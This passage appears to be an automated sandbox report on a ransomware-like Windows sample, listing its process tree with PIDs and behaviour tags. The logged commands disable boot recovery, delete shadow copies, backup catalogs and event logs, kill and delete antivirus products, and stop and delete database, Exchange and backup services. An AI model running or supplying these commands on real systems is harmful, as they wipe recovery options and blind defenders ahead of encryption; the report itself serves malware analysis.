      Modifies boot configuration data using bcdedit
      PID:2196
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5384
- - C:\Windows\SYSTEM32\bcdedit.exe
    "bcdedit" /set {current} nointegritychecks on
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6020
- - C:\Windows\SYSTEM32\bcdedit.exe
    "bcdedit" /set {current} testsigning on
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3336
- - C:\Windows\SYSTEM32\net.exe
    "net" stop wuauserv
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4752
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      PID:4112
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1552
  - - C:\Windows\system32\wbadmin.exe
      wbadmin delete catalog -quiet
      4⤵
      Deletes backup catalog
      PID:3108
- - C:\Windows\SYSTEM32\taskkill.exe
    "taskkill" /IM carbonblack.exe /F
    3⤵
    - Kills process with taskkill
    PID:3692
- - C:\Windows\SYSTEM32\taskkill.exe
    "taskkill" /IM crowdstrike.exe /F
    3⤵
    - Kills process with taskkill
    PID:3280
- - C:\Windows\SYSTEM32\taskkill.exe
    "taskkill" /IM defender.exe /F
    3⤵
    - Kills process with taskkill
    PID:4900
- - C:\Windows\SYSTEM32\taskkill.exe
    "taskkill" /IM symantec.exe /F
    3⤵
    - Kills process with taskkill
    PID:3804
- - C:\Windows\SYSTEM32\taskkill.exe
    "taskkill" /IM mcafee.exe /F
    3⤵
    - Kills process with taskkill
    PID:5172
- - C:\Windows\SYSTEM32\taskkill.exe
    "taskkill" /IM kaspersky.exe /F
    3⤵
    - Kills process with taskkill
    PID:5540
- - C:\Windows\SYSTEM32\taskkill.exe
    "taskkill" /IM trendmicro.exe /F
    3⤵
    - Kills process with taskkill
    PID:2480
- - C:\Windows\SYSTEM32\sc.exe
    "sc" stop CarbonBlack
    3⤵
    PID:828
- - C:\Windows\SYSTEM32\sc.exe
    "sc" delete CarbonBlack
    3⤵
    PID:3160
- - C:\Windows\SYSTEM32\sc.exe
    "sc" stop CrowdStrike
    3⤵
    PID:3136
- - C:\Windows\SYSTEM32\sc.exe
    "sc" delete CrowdStrike
    3⤵
    PID:1148
- - C:\Windows\SYSTEM32\sc.exe
    "sc" stop WinDefend
    3⤵
    PID:5836
- - C:\Windows\SYSTEM32\sc.exe
    "sc" delete WinDefend
    3⤵
    PID:4260
- - C:\Windows\SYSTEM32\sc.exe
    "sc" stop Symantec
    3⤵
    PID:2488
- - C:\Windows\SYSTEM32\sc.exe
    "sc" delete Symantec
    3⤵
    PID:5852
- - C:\Windows\SYSTEM32\sc.exe
    "sc" stop McAfee
    3⤵
    PID:3408
- - C:\Windows\SYSTEM32\sc.exe
    "sc" delete McAfee
    3⤵
    PID:4792
- - C:\Windows\SYSTEM32\sc.exe
    "sc" stop Kaspersky
    3⤵
    PID:2764
- - C:\Windows\SYSTEM32\sc.exe
    "sc" delete Kaspersky
    3⤵
    PID:1260
- - C:\Windows\SYSTEM32\sc.exe
    "sc" stop TmCCSF
    3⤵
    PID:5584
- - C:\Windows\SYSTEM32\sc.exe
    "sc" delete TmCCSF
    3⤵
    PID:320
- - C:\Windows\SYSTEM32\netsh.exe
    "netsh" interface ip set dns name="Ethernet" source=static addr=192.168.1.100
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:5740
- - C:\Windows\SYSTEM32\wbadmin.exe
    "wbadmin.exe" delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5156
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" stop WinDefend
    3⤵
    PID:4012
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /DISABLE
    3⤵
    PID:968
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /c vssadmin Delete Shadows /All /Quiet
    3⤵
    - Executes a command shell one-liner
    PID:3608
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /c bcdedit /set {default} recoveryenabled No
    3⤵
    - Executes a command shell one-liner
    PID:244
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Executes a command shell one-liner
    PID:6112
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /c wmic SHADOWCOPY /nointeractive
    3⤵
    - Executes a command shell one-liner
    PID:4628
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /c wevtutil cl security
    3⤵
    - Executes a command shell one-liner
    PID:4768
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /c wevtutil cl system
    3⤵
    - Executes a command shell one-liner
    PID:5396
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /c wevtutil cl application
    3⤵
    - Executes a command shell one-liner
    PID:1492
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
    3⤵
    - Executes a command shell one-liner
    PID:5000
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:4680
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      PID:4564
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2128
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3616
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop vss
    3⤵
    PID:4492
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop vss
      4⤵
      PID:1804
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config vss start=disabled
    3⤵
    PID:1352
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete vss
    3⤵
    PID:2736
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop vss
    3⤵
    PID:3984
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop vss
      4⤵
      PID:4104
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config vss start=disabled
    3⤵
    PID:832
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete vss
    3⤵
    PID:5940
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop vss
    3⤵
    PID:1100
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop vss
      4⤵
      PID:1916
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config vss start=disabled
    3⤵
    - Launches sc.exe
    PID:2500
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete vss
    3⤵
    - Launches sc.exe
    PID:796
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sql
    3⤵
    PID:5968
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sql
      4⤵
      PID:5748
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sql start=disabled
    3⤵
    - Launches sc.exe
    PID:620
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sql
    3⤵
    PID:204
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sql
    3⤵
    PID:1536
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sql
      4⤵
      PID:1936
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sql start=disabled
    3⤵
    PID:4264
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sql
    3⤵
    PID:1448
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sql
    3⤵
    PID:3720
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sql
      4⤵
      PID:4340
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sql start=disabled
    3⤵
    PID:5052
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sql
    3⤵
    PID:1212
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sql$
    3⤵
    PID:484
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sql$
      4⤵
      PID:5580
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sql$ start=disabled
    3⤵
    PID:2508
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sql$
    3⤵
    PID:5900
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sql$
    3⤵
    PID:5636
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sql$
      4⤵
      PID:1160
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sql$ start=disabled
    3⤵
    - Launches sc.exe
    PID:2796
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sql$
    3⤵
    - Launches sc.exe
    PID:1648
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sql$
    3⤵
    PID:3076
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sql$
      4⤵
      PID:4448
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sql$ start=disabled
    3⤵
    PID:3536
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sql$
    3⤵
    PID:3572
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mysql
    3⤵
    PID:976
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mysql
      4⤵
      PID:4204
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mysql start=disabled
    3⤵
    PID:2096
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mysql
    3⤵
    - Launches sc.exe
    PID:4768
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mysql
    3⤵
    PID:4248
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mysql
      4⤵
      PID:4276
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mysql start=disabled
    3⤵
    PID:4764
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mysql
    3⤵
    PID:2572
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mysql
    3⤵
    PID:332
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mysql
      4⤵
      PID:3160
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mysql start=disabled
    3⤵
    PID:2528
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mysql
    3⤵
    PID:3964
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mysql$
    3⤵
    PID:1572
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2488
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mysql$
      4⤵
      PID:4336
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mysql$ start=disabled
    3⤵
    PID:5848
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mysql$
    3⤵
    PID:3352
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mysql$
    3⤵
    PID:2912
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mysql$
      4⤵
      PID:764
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mysql$ start=disabled
    3⤵
    - Launches sc.exe
    PID:3188
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mysql$
    3⤵
    PID:4536
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mysql$
    3⤵
    PID:440
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mysql$
      4⤵
      PID:1000
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mysql$ start=disabled
    3⤵
    PID:3108
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mysql$
    3⤵
    PID:5380
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop svc$
    3⤵
    PID:6036
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop svc$
      4⤵
      PID:2344
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config svc$ start=disabled
    3⤵
    PID:936
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete svc$
    3⤵
    PID:3800
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop svc$
    3⤵
    PID:6056
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop svc$
      4⤵
      PID:3240
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config svc$ start=disabled
    3⤵
    PID:1708
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete svc$
    3⤵
    - Launches sc.exe
    PID:5172
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5384
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop svc$
    3⤵
    PID:5312
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop svc$
      4⤵
      PID:5208
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config svc$ start=disabled
    3⤵
    PID:1940
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete svc$
    3⤵
    PID:5764
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop memtas
    3⤵
    PID:2128
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop memtas
      4⤵
      PID:3112
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config memtas start=disabled
    3⤵
    PID:1252
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete memtas
    3⤵
    PID:3608
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop memtas
    3⤵
    PID:700
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1492
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop memtas
      4⤵
      PID:4528
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config memtas start=disabled
    3⤵
    PID:5928
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete memtas
    3⤵
    PID:1532
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop memtas
    3⤵
    PID:4292
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop memtas
      4⤵
      PID:4200
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config memtas start=disabled
    3⤵
    PID:3140
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete memtas
    3⤵
    PID:3712
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mepocs
    3⤵
    PID:3380
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mepocs
      4⤵
      PID:5780
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mepocs start=disabled
    3⤵
    PID:5068
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mepocs
    3⤵
    - Launches sc.exe
    PID:6052
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mepocs
    3⤵
    PID:4328
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mepocs
      4⤵
      PID:2360
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mepocs start=disabled
    3⤵
    PID:4976
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mepocs
    3⤵
    PID:5736
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mepocs
    3⤵
    PID:980
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mepocs
      4⤵
      PID:5948
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mepocs start=disabled
    3⤵
    PID:5784
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mepocs
    3⤵
    - Launches sc.exe
    PID:5616
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sophos
    3⤵
    PID:5476
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3408
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sophos
      4⤵
      PID:4504
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sophos start=disabled
    3⤵
    PID:2548
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sophos
    3⤵
    PID:2480
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sophos
    3⤵
    PID:2248
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sophos
      4⤵
      PID:1780
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sophos start=disabled
    3⤵
    PID:5972
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sophos
    3⤵
    PID:4284
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sophos
    3⤵
    PID:4684
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sophos
      4⤵
      PID:5388
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sophos start=disabled
    3⤵
    PID:5608
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sophos
    3⤵
    - Launches sc.exe
    PID:2068
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop veeam
    3⤵
    PID:4564
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop veeam
      4⤵
      PID:2860
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config veeam start=disabled
    3⤵
    PID:2880
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete veeam
    3⤵
    PID:4412
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop veeam
    3⤵
    PID:5532
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop veeam
      4⤵
      PID:1216
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config veeam start=disabled
    3⤵
    PID:5932
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete veeam
    3⤵
    PID:5576
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop veeam
    3⤵
    PID:4816
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop veeam
      4⤵
      PID:1896
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config veeam start=disabled
    3⤵
    PID:1592
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete veeam
    3⤵
    PID:2992
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop backup
    3⤵
    PID:1836
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop backup
      4⤵
      PID:5888
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config backup start=disabled
    3⤵
    - Launches sc.exe
    PID:1808
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete backup
    3⤵
    PID:2984
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop backup
    3⤵
    PID:6064
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop backup
      4⤵
      PID:4320
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config backup start=disabled
    3⤵
    PID:4840
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete backup
    3⤵
    PID:3464
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop backup
    3⤵
    PID:2456
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop backup
      4⤵
      PID:4880
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config backup start=disabled
    3⤵
    PID:3980
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete backup
    3⤵
    PID:2232
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MSExchange
    3⤵
    PID:1928
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MSExchange
      4⤵
      PID:5540
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MSExchange start=disabled
    3⤵
    PID:2672
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MSExchange
    3⤵
    PID:4924
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MSExchange
    3⤵
    PID:2200
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MSExchange
      4⤵
      PID:3732
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MSExchange start=disabled
    3⤵
    PID:1548
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MSExchange
    3⤵
    - Launches sc.exe
    PID:3804
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MSExchange
    3⤵
    PID:1048
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MSExchange
      4⤵
      PID:5520
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MSExchange start=disabled
    3⤵
    PID:968
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MSExchange
    3⤵
    PID:2620
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MSExchange$
    3⤵
    PID:3116
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5396
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MSExchange$
      4⤵
      PID:6020
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MSExchange$ start=disabled
    3⤵
    PID:1300
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MSExchange$
    3⤵
    PID:3336
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MSExchange$
    3⤵
    PID:1348
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MSExchange$
      4⤵
      PID:2652
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MSExchange$ start=disabled
    3⤵
    PID:3064
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MSExchange$
    3⤵
    PID:1016
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MSExchange$
    3⤵
    PID:2856
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MSExchange$
      4⤵
      PID:296
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MSExchange$ start=disabled
    3⤵
    PID:4772
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MSExchange$
    3⤵
    PID:4904
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop WSBExchange
    3⤵
    PID:4436
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WSBExchange
      4⤵
      PID:4652
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config WSBExchange start=disabled
    3⤵
    PID:4792
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete WSBExchange
    3⤵
    PID:2748
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop WSBExchange
    3⤵
    PID:6116
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WSBExchange
      4⤵
      PID:3816
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config WSBExchange start=disabled
    3⤵
    PID:3776
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete WSBExchange
    3⤵
    PID:2864
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop WSBExchange
    3⤵
    PID:1012
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WSBExchange
      4⤵
      PID:3836
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config WSBExchange start=disabled
    3⤵
    - Launches sc.exe
    PID:4920
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete WSBExchange
    3⤵
    PID:5468
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop PDVFSService
    3⤵
    PID:1060
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop PDVFSService
      4⤵
      PID:712
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config PDVFSService start=disabled
    3⤵
    PID:5860
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete PDVFSService
    3⤵
    - Launches sc.exe
    PID:308
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop PDVFSService
    3⤵
    PID:304
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop PDVFSService
      4⤵
      PID:1600
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config PDVFSService start=disabled
    3⤵
    PID:2468
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete PDVFSService
    3⤵
    - Launches sc.exe
    PID:3176
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop PDVFSService
    3⤵
    PID:2228
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop PDVFSService
      4⤵
      PID:788
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config PDVFSService start=disabled
    3⤵
    - Launches sc.exe
    PID:4188
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete PDVFSService
    3⤵
    PID:4144
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecVSSProvider
    3⤵
    PID:4012
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecVSSProvider
      4⤵
      PID:4544
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecVSSProvider start=disabled
    3⤵
    PID:5840
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecVSSProvider
    3⤵
    - Launches sc.exe
    PID:4868
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecVSSProvider
    3⤵
    PID:5856
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecVSSProvider
      4⤵
      PID:1876
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecVSSProvider start=disabled
    3⤵
    - Launches sc.exe
    PID:1320
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecVSSProvider
    3⤵
    PID:6040
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecVSSProvider
    3⤵
    PID:3060
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecVSSProvider
      4⤵
      PID:2624
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecVSSProvider start=disabled
    3⤵
    PID:3752
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecVSSProvider
    3⤵
    PID:3020
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecAgentAccelerator
    3⤵
    PID:2264
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentAccelerator
      4⤵
      PID:2940
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecAgentAccelerator start=disabled
    3⤵
    PID:3280
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecAgentAccelerator
    3⤵
    - Launches sc.exe
    PID:2452
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecAgentAccelerator
    3⤵
    PID:2304
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentAccelerator
      4⤵
      PID:5348
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecAgentAccelerator start=disabled
    3⤵
    PID:4676
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecAgentAccelerator
    3⤵
    PID:4604
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecAgentAccelerator
    3⤵
    PID:3688
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentAccelerator
      4⤵
      PID:4616
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecAgentAccelerator start=disabled
    3⤵
    - Launches sc.exe
    PID:2196
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecAgentAccelerator
    3⤵
    PID:2220
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecAgentBrowser
    3⤵
    PID:3396
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentBrowser
      4⤵
      PID:4940
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecAgentBrowser start=disabled
    3⤵
    PID:1492
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecAgentBrowser
    3⤵
    PID:4576
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecAgentBrowser
    3⤵
    PID:5676
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentBrowser
      4⤵
      PID:4112
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecAgentBrowser start=disabled
    3⤵
    PID:1256
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecAgentBrowser
    3⤵
    - Launches sc.exe
    PID:1488
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecAgentBrowser
    3⤵
    PID:4216
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentBrowser
      4⤵
      PID:824
- - C:\Windows\SYSTEM32\sc.exe
